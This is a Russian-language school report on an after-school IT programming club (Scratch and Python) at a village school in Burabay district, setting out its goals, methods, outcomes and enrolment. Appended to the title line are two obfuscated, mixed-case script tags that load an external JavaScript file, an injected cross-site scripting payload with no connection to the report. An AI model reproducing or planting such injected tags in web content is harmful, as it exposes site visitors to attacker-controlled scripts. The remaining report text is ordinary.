Отчет о работе IT-классов в школах Бурабайского района КГУ ООШ села Акылбай. Руководитель Безчаснюк В.А<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

12.12.2023

Дополнительная образовательная программа кружка «IT-программирование» направлена на создание условий для развития личности ребенка, развития мотивации личности к познанию и творчеству. Рабочая программа соответствует государственным требованиям к минимуму содержания и уровню подготовки выпускников общеобразовательных школ.

Цель: сформировать у учащихся базовые представлений о языках программирования, алгоритме, исполнителе, способах записи алгоритма; организовать проектную научно-познавательную деятельность творческого характера; сформировать у ученика познавательный интерес к учёбе и исследовательские навыки.

Занятия направлены на решение следующих задач: 

Обучающие:        

• овладеть навыками составления алгоритмов;
• овладеть понятиями «объект», «событие», «управление», «обработка событий»;
• изучить функциональность работы основных алгоритмических конструкций;
•  сформировать представление о профессии «программист»;
• сформировать навыки разработки, тестирования и отладки несложных программ;
• познакомить  с понятием проекта и алгоритмом его разработки;
• сформировать навыки разработки проектов: интерактивных историй, квестов, интерактивных игр, обучающих программ, мультфильмов, моделей и интерактивных презентаций.

Развивающие:

• способствовать развитию критического, системного, алгоритмического и творческого мышления;
• развивать внимание, память, наблюдательность; познавательный интерес;
• развивать умение работать с компьютерными программами и дополнительными источниками информации;
• развивать навыки планирования проекта, умение работать в группе. 

Воспитательные:

• формировать положительное отношение к информатике и ИКТ;
• развивать самостоятельность и  формировать умение работать в паре,   малой группе, коллективе;
• формировать умение демонстрировать результаты своей работы.  

 

В курсе «IT- программирования» рассматриваются понятия блок-схем, алгоритма, вычисляемой функции, языка программирования; основные конструкции языка программирования Python, позволяющие: работать с числами, массивами и строками и Scratch для введения в изучение  программирования    в  игровой, увлекательной форме с помощью блочного программирования.

На начальном этапе осуществляется изучение с использованием языка блок-схем с помощью программы Scratch. Затем происходит обучение учащихся основам программирования на базе языка Python. Все занятия ведутся в компьютерном классе, и теоретический материал неотделим от практических занятий.

В зависимости от поставленных задач на занятиях используются различные методы обучения. Все задания расположены по возрастанию степени их сложности. Доступная детям практическая деятельность помогает избежать умственного переутомления. 

Организация деятельности учащихся: 

•  формы организации деятельности обучающихся:  

• групповые,
• индивидуальные; 

•  методы обучения 

• словесные методы (лекция, объяснение); 
• демонстративно-наглядные  (демонстрация  работы  в  программе, схем, скриптов, таблиц, решения задачь); 
• проектные  методы  (разработка  проекта  по  спирали  творчества, моделирование, планирование деятельности) 
• объяснительно – иллюстративные (методы  обучения,  при использовании  которых,  дети  воспринимают  и  усваивают готовую информацию);  
• частично-поисковые  методы  обучения  (участие  кчеников  в 
  • коллективном поиске,  решение  поставленной  задачи  совместно  с педагогом). 
• исследовательские методы обучения  (овладение  учениками  методами научного познания, самостоятельной  творческой работы).  

В результате изучения дисциплины: 
Учащиеся должны знать / понимать:

• что такое стиль программирования;
• правила именования объектов;
• основные рекомендации при написании программ.

Учащиеся должны уметь:

• определять вид ошибок и находить ошибки в программе.
• выполнять тестирование и отладку программ.

Набор обучающихся – свободный, по желанию учеников и их родителей. Программа рассчитана на 34 часа, в том числе 21 час отводится на практические занятия.

Режим организации занятий в школах района с 16:00 до19:00 ч. по 1 часу для группы. 

Всего в  ІТ классах обучаются 12 учащихся. 

         Занятия данного кружка прививают учащимся активность, дисциплинированность, внимательность. Вырабатываются и закрепляются умения и навыки выполнять различные операции с компьютером и программами. Достигать максимальных результатов в программировании и в определенных видах информационных технологий.

Занятия проводятся групповыми, индивидуальными и парными методами обучения. Ученики приобретают навыки самостоятельной работы с источниками знаний: учатся работать с дополнительной литературой, активно использовать сайты Интернета. Поставленные обучающие, развивающие, воспитательные цели кружка достигаемы и реалистичны.